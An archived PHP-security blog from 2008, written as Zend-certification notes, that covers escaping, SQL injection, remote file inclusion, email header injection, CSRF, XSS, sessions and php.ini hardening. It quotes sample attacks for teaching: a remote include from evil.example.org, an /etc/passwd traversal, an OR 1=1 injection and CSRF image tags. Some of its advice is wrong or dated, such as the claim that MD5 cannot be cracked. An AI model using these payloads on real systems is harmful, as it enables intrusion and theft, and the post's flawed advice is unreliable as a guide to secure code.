Nov
24
2008
1

PHP Security: Escape Output

Escaping output intended for a database will not suffice when sending that same output to a Web browser—data must be escaped according to its destination. you should always be aware of the
destination of your output and any special characters or commands that destination
may accept and act upon—and be ready escape those characters or commands
accordingly.

Escape HTML Output
To escape output intended for a Web browser, PHP provides htmlspecialchars();
and htmlentities();, the latter being the most exhaustive and, therefore, recommended
function for escaping.

echo htmlentities($user_message, ENT_QUOTES, ’UTF-8);

Is much more safter than raw $user_message output.

Escape SQL Output
You should escape output destined for a database such as a sql statement with the *_escape_string() function. You should also use prepared statements when possible, prepared statements are available for all database engines in PHP5 using the PDO Driver (PHP Data Objects), if database does not support prepared statements PDO emulates this feature.

The use of prepared statements allows you to have placeholders in an SQL statement.This statement can then be used multiple times throughout an application, substituting new values for the placeholders.

// First, filter the input
$clean = array();
if (ctype_alpha($_POST[’username’]))
{
$clean[’username’] = $_POST[’username’];
}
// Set a named placeholder in the SQL statement for username
$sql = ’SELECT * FROM users WHERE username = :username’;
// Assume the database handler exists; prepare the statement
$stmt = $dbh->prepare($sql);
// Bind a value to the parameter
$stmt->bindParam(:username’, $clean[’username’]);
// Execute and fetch results
$stmt->execute();
$results = $stmt->fetchAll();

Escape SQL Output - What are prepared statements?
Their is a descriptive article on mysql.com.
You can have a simple query with a defined variable and use it many times with different WHERE or Input perimeters.

Facts:
- More Secure (separates sql logic from user data)
- No need for special function to escape backslash or double quotes.
- Use of prepared statements introduces pre-parsing, if query run many times it leads to speed increase.
- Lower CPU with less binary translation
- limited to DML (INSERT, REPLACE, UPDATE, and DELETE), CREATE TABLE, and SELECT queries
- If only one query is needed, dont use prepared statements as it will be slower.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • LinkedIn
  • Live
  • StumbleUpon
  • Technorati
  • TwitThis
Written by Adam in: 05. Security |
Nov
21
2008
1

PHP Security: Filter Input

Zend Teaches us that all input is tainted and cannot be trusted!, therefore you must sanitise all input to ensure that all input inserted is input wanted. This is easy to do realy, you just set limits on the input.

If you are asking for username, make sure input is alphanumeric only.
If you are asking for password, make sure input is alphanumeric only.
If you are asking for list of colors, make sure it matches the server side list.

PHP Validation > Javascript Validation
Remember that javascript validation of input is great and useful the the user, but it is very insecure as the user within seconds can disable javascript, and input any data without any restrictions what so ever alternatively they could spoof input and avoid loading the input page whatsoever (e.g. php curl). Therefore PHP Validation is better than Javascript Validation.

PHP Whitelist Input Example:
If we want a Poll asking our users what is their favourite colour, we can do it as follows:

$clean = array();
if (ctype_alpha($_POST[’username’])){
	$clean[’username’] = $_POST[’username’];
}
if (ctype_alnum($_POST[’password’])){
	$clean[’password’] = $_POST[’password’];
}
$colours = array(’Red’, ’Blue’, ’Yellow’, ’Green’);
if (in_array($_POST[’colour’], $colours)){
	$clean[’colour’] = $_POST[’colour’];
}

As you can see once the data has been verified and checked, we use an $clean array to input data to database. This way we can be extra sure that the input is not tainted with mysql exploit.

Filtering with whitelist gives you firm control and prevents bad data. The worst than
can happen is that the $clean array will not contain a value for username or colour. Simply display an error message to the user and ask them to provide correct data.
You should force the user to provide correct information rather than trying to clean and sanitize it on your own.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • LinkedIn
  • Live
  • StumbleUpon
  • Technorati
  • TwitThis
Written by Adam in: 05. Security |
Nov
21
2008
0

PHP Security: Email Injection

The PHP 5 Zend Certification has a section “Email Injection” except the ZCE Study Guide does not contain the words “Email Injection” anywhere in the book. OMG!

How Does Email Form Hijacking Work?

A PHP script that sends email typically calls on the mail() function to deliver the email:

mail( "admin@example.com", "Feedback Form Results", $message, "From: $email" );

The code above sends the message to admin@example.com, which is the webmaster’s address. The sender’s address is set to the information contained in the $email variable, which is typically obtained from the web form.

If the script takes no effort to sanitize the $email variable before calling mail(), it is possible for a spammer to inject additional headers into the email messages by placing lines like the following into the $email variable.

some-email-address@example.com
CC: another-email-address@example.com, yet-another-email-addresses@example.com, etc-etc@example.com

The PHP mail() function will dumbly insert those lines into the header of the email message, and pass it along to the mail transport agent, which in turns delivers the mail to everyone on that list. Your script has thus been hijacked to do the spammer’s bidding.

How to Avoid Email Injection and Mail Form Script Hijacking

To prevent email injection of the form given above, it is important that you check the information you receive from the $email variable.

There are many ways you can look out for attempts to insert email headers into your scripts, here is one example:

if ( ereg( "[\r\n]", $name ) || ereg( "[\r\n]", $email ) ) {
die("Damn Exploite");
}

$name contains the visitor’s name, and $email holds the visitor’s email address. A function called ereg() is called to find out if the contents of those two variables include the new line characters. New line characters, like the carriage return (”\r” in PHP) and line feed (”\n” in PHP), create a new line in the email headers, which allows the formation of a new “cc:” line. If the code above detects that there are new line characters, the user is directed to an error page.

Avoid Email Injecton 2.0

function isInjected($str) {
	$injections = array('(\n+)','(\r+)','(\t+)','(%0A+)','(%0D+)','(%08+)','(%09+)');
	$inject = join('|', $injections);
	$inject = "/$inject/i";
	if(preg_match($inject,$str)) {
		return true;
	}else {
		return false;
	}
}

If you use the function above to sanitise all user data input to the email form, this will return true if the user is found trying to exploit the email script, and return false if all is good.

Zend.Is-Hacked > ZCE Study Guide

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • LinkedIn
  • Live
  • StumbleUpon
  • Technorati
  • TwitThis
Written by Adam in: 05. Security |
Nov
21
2008
1

PHP Security: Remote Code Injection

Zend PHP 5 Certification requires knowledge about Remote Code Injection Security. This revolves around the include and require functions. Put simply if theirs any user input in the include, it could be exploited!

Back in 2000 their where 100’s of websites that looked like this:

example.com/index.php?page=aboutus.php

It was a way for new coders to include pages in templates but all you had to do was change the page

example.com/index.php?page=config.php

Then you had the users database, even worse is this page:

example.com/index.php?page=../../../../etc/passwd

As this gives the usernames (sometimes passwords) of every user on the server.

Aside from the script kiddie examples above, the user could also include remote scripts in some circumstances, this allowed the hacker to include remote scripts like c99shell.

Basic Exploit example:

include $_REQUEST['page'];

As you can see we can do this:

http://example.org/?page=http%3A%2F%2Fevil.example.org%2Fattack.inc%3F

Which is the same as doing so:

include "http://evil.example.org/attack.inc?/data.inc.php";

By allowing users to include remote files it makes it very easy for the user to exploit, upload and read files on the server.

How to protect?
Never use data from user input to directly include files instead use:

example.org/index.php?page=news

then use a conditional statement like so

if($page == "news"){
$page[title] = "Latest News";
$page[inc] = "pages/news.php";
}
include $page[inc];

or..

$clean = array();
$sections = array(’home’, ’news’, ’photos’, ’blog’);
if (in_array($_GET[’section’], $sections))
{
$clean[’section’] = $_GET[’section’];
}
else
{
$clean[’section’] = ’home’;
}
include "{clean[’section’]}/data.inc.php";

php.ini settings fix
Dont ever request data from other servers? than you can disable allow_url_fopen.

This will prevent hackers from including remote files like shown above.disable it in php.ini, setting it to Off, which will prevent your applications from including or opening remote URLs as files (aswell as effectively disallowing many of the cool files and Streams features).

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • LinkedIn
  • Live
  • StumbleUpon
  • Technorati
  • TwitThis
Written by Adam in: 05. Security |
Nov
19
2008
2

PHP Security: SQL Injection

When your website has user input and database it is easy to become a victim of SQL Injection. You must ensure that the input from a user is sanitised.

Consider your register page:

$username = $_POST[’username’];
$password = md5($_POST[’password’]);
$sql = "SELECT *
FROM users
WHERE username = ’{$username}’ AND
password = ’{$password}’";

As you can see username data is not changed and input directly into the query. Therefore if the user inputs their username as username’ OR 1 = 1 –
Since 1=1 is always true it fetches all records, since it is followed by - which starts a SQL comment it ignores the rest of the query.
The attacker will now have a list of your full member table, including username, emails and hopefully encoded passwords. MD5 can not be cracked so over time the hacker can login as the user, or send fake emails to them to use “Cross-Site Request Forgeries” to force email/password change to the hackers.

Solution
Ensure on all input from the user that you use mysql_real_escape_string($_POST[username]); Escapes special characters in the unescaped_string. This function must always (with few exceptions) be used to make data safe before sending a query to MySQL.

Addslashes was a preferred method, but it has some flaws therefore escape string is better.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • LinkedIn
  • Live
  • StumbleUpon
  • Technorati
  • TwitThis
Written by Adam in: 05. Security |
Nov
19
2008
0

PHP Security: Cross-Site Request Forgeries

Cross-Site Request Forgeries send HTTP requests to urls requiring privileged access using existing session of the victim to determine access. XSS attack exploits users trust in an application a forged requests exploits an applications trust in a user.

Your script needs the ability to determine if a request is legitimate or malicious. An example of which is buying a book, a user could use an image to make a user (unknown to them) buy a book:

<img src="http://example.org/checkout.php?isbn=0312863551&qty=1" />

Their are unlimited possibilities, such as updating user data:

<img src="http://example.org/userinfo.php?email=iam@hacker.com" />

This would change the unknowing users email address to the hackers, the hacker can “forget password” and then login as you and steel your identity.

This kind of attack has a simple solution of ensureing you use $_POST instead of $_GET or $_REQUEST this ensures that the data is from a post.

Unfortunatly post requests can be forged too, therefore further methods are required such as requesting a captcha image to ensure its not automated. Further suggestions would be to generate a random “TOKEN” which is stored in the users session and on a hidden field in a form. Your site can then compare the forms ticket to the sessions stored ticket to ensure that it is correct.

$better_token = md5(uniqid(rand(), true));

In the process you use:

if (isset($_SESSION[’token’]) && isset($_POST[’token’]) && $_POST[’token’] == $_SESSION[’token’]){
// Token is valid, continue processing form data
}else{
//HACKER!
}
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • LinkedIn
  • Live
  • StumbleUpon
  • Technorati
  • TwitThis
Written by Adam in: 05. Security |
Nov
19
2008
0

PHP Security: Cross-Site Scripting

Cross-site scripting(XSS) is a common attack. It exploits the scripts trust in the application in an effort to steel user information such as cookies or personally identifiable data. Any website with input is at risk.

If you have any input, such as “What is your name” or “Add Comment” the user only has to input . This sends you cookie (login info) to the malicious website of every person who vews the comment.

Prevent Attack
To prevent this kind of attack we must ensure that all output is escaped and sanitised. Ther are scripts available to do so such as HTML Purifier

Their are many ways to try and prevent the attack:
- strlen(); limit input characters so javascript can not fit.
- htmlspecialchars(); changes code aspects to characters so for < script becomes &gt ;script
- utf8_decode() in PHP to ensure that no UTF-8 encoded cross-site scripting attempts get through
- Validate Data Type - If its supposed to be a number, make sure it is.

The advised solution:

$content = htmlspecialchars(utf8_decode($content));

Their is a WIDE VARIATY of xss exploits, ensure security is of your top priority when coding.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • LinkedIn
  • Live
  • StumbleUpon
  • Technorati
  • TwitThis
Written by Adam in: 05. Security |
Nov
18
2008
0

PHP Security: Session Security

Those damn hackers love session hijacking, this is because unlike other security precautions sessions can not be secured by filtering input or escaping output.

When you visit a web page and are given a session ( sesson_start(); ) you are given an ID, this ID is then stored in the users cookie called PHPSESSID (can be renamed in php.ini or session_name(); function).

Unfortunately it is possible to define a session id manually by manipulating the web address this is called “SESSION FIXATION” example:
http://example.org/index.php?PHPSESSID=1234
If this session ID is being used by someone else, the hacker can RIDE on the session and access all of their personal details stored on your website. If the user finds or guess your session id then they may have administrator privileges.
The solution is to use session_regenerate_id(); regularly when they are logged in as such:

session_start();
// If the user login is successful, regenerate the session ID
if (authenticate()){
session_regenerate_id();
}

Other than regularly regenerating the ID of logged in users to ensure that if a session is captured by a hacker it is no longer in use their are other verification methods such as ensuring that the user is on the same system. As example of this is when logging in set the users user_agent (internet browser and version):

$_SESSION[’user_agent’] = $_SERVER[’HTTP_USER_AGENT’];

Then you can add a layer of session security to your website:

if ($_SESSION[’user_agent’] != $_SERVER[’HTTP_USER_AGENT’]){
// Force user to log in again
exit;
}

Shared web server
Sessions are stored on the server, this means that anyone else on the shared hosting. Luckily session data does not contain the website the session came from, but it is wise to use md5 if storing users password as sessions.

XSS Exploits
If you have a XSS exploit, the hacker does not have to guess the session id, instead the hacker can use Javascript to fool users in getting session id.

You should read about session and cookie security further if your going to develop a shop or something with sensitive data. This blog post is for guidance only their is further notes on security at sitepoint.com

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • LinkedIn
  • Live
  • StumbleUpon
  • Technorati
  • TwitThis
Written by Adam in: 05. Security |
Nov
18
2008
2

PHP Security: Configuration

The PHP Zend Certification has a section on security, in this blog post I will be outline Configuration of PHP Security. The Zend Study Guide has little information regarding to this section and security is a large part of coding so I may expand on security.

Disable regster_globals
In PHP register_globals allow you to write scripts without the use of superglobals, the register_globals configuration automatically injects variables into scripts. That is, all variables from the query string,posted forms, session store, cookies and so on.

Before PHP 4.2.0, the register_globals configuration directive was set to On by default. Since then, this directive has been set to Off by default; as of PHP 6, it will no longer exist.

Example of vulnerability financedetails.php :

if (checkadmin()){
$admin = TRUE;
}
if ($admin){
// show all users credit card details
}

The above example is vulnerable as the script checks if user is admin, if so it sets admin to true. If not then it does nothing, therefore if I go to financedetails.php?admin=TRUE then the script will think that I am logged in as administrator.

Its easy to fix, all you have to do is Disable Register Globals (Before PHP 4.2.0) if you can not then you should code like such:

$admin = FALSE;
if (checkadmin()){
$admin = TRUE;
}
if ($admin){
// show all users credit card details
}

This way if the user declares a variable, it is overwritten by the declared FALSE, if the user is a admin then it is checked and the declared false is overwritten. Brilliant!

Enable PHP safe_mode
The safe mode setting can be very useful to prevent unauthorized access to local system files. It works by only allowing the reading of files that are owned by the user account that owns the executing PHP script. If your application opens local files often, consider enabling this setting.

You have some options:
a) turn off safe_mode completely which leads to serious security implications.
b) run every account with their own unique Apache/PHP daemon which is usually unrealistic when considering server loads and stability.
c) require every site owner to run their PHP scripts as a CGI process which again leads to server load and stability issues.
d) enable PHP’s safe_mode which, though secure, restricts the site owner’s choices as to which scripts will and will not operate on the server.
e) use disable_functions to disable functions restricted by safemode

disable_functions
This setting can only be set in your php.ini file, not at runtime. It can be set to a list of functions that you would like disabled in your PHP installation. It can help prevent the possible execution of harmful PHP code. Some functions that are useful to disable if you do not use them are system and exec, which allow the execution of external programs.
disable_functions = “apache_get_modules,apache_get_version,apache_getenv,apache_note,
apache_setenv,disk_free_space,diskfreespace,dl,
highlight_file,ini_alter,ini_restore,openlog,passthru,phpinfo,
proc_nice,shell_exec,show_source,symlink,system”
are recomended, their are more but are sometimes used in popular scripts therefore disable with caution:
dl, exec, fsockopen, popen, set_time_limit, popen and proc_open.

Disabling Remote URLs
If you request data from a remote website, then it is not advised insdead make sure that data is sanitised before requesting data from remote websites.
it poses as a huge security risk if the filename is taken from user input without proper sanitization, and opens the door for remote code execution on the server. To disable this and limit file functions to local system, use the following setting in php.ini:
allow_url_fopen = Off
Network resources will still be accessible through fsockopen or CURL functions.

Error Messages and Logging
By default, PHP prints error messages to the browser’s output. While this is desirable during the development process, it may reveal security information to users, like installation paths or usernames. It’s highly recommended to disable this on a production server, and send error messages to a log file instead:
display_errors = Off
log_errors = On

Much More
Their are other security improvements such as restricting what php can read and write, limit php execution time, limit access to certain file name patterns and hide php presence. You can find further information on these Ayman Houriehs Blog further reading of security in the PHP Manual.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • LinkedIn
  • Live
  • StumbleUpon
  • Technorati
  • TwitThis
Written by Adam in: 05. Security |

WordPress Powered, Theme by TheBuckmaker.com | Add to Technorati Favorites. | RSS and Comments RSS